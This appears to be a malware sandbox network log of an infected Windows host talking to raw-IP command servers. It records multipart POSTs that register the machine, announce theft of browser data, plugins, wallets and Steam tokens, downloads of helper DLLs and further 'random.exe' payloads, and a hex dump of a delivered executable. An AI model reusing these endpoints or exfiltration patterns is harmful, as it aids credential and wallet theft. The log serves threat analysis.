00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:45:48 GMTContent-Type: application/octet-streamContent-Length: 1792512Last-Modified: Sun, 10 Nov 2024 18:23:07 GMTConnection: keep-aliveETag: "6730fa0b-1b5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 46 90 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 78 64 76 67 63 70 66 00 c0 19 00 00 f0 4e 00 00 be 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 64 65 78 7a 65 6f 00 10 00 00 00 b0 68 00 00 04 00 00 00 34 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 38 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"mars------IDGIJEGHDAECAKECAFCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="message"browsers------HIDHDGDHJEGHIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="message"plugins------CBKFIECBGDHJKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"fplugins------IIECFHDBAAECAAKFHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 6859Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file"------AAEBAFBGIDHCBFHIECFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file"------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"wallets------EHJDGCBGDBKJKFHIECBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------AAAAAAAAAAAAAAAAAAAAContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------AAAAAAAAAAAAAAAAAAAAContent-Disposition: form-data; name="message"files------AAAAAAAAAAAAAAAAAAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="file"------ECGHJJEHDHCAAKFIIDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="message"ybncbhylepme------DAECFIJDAAAKECBFCGHI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
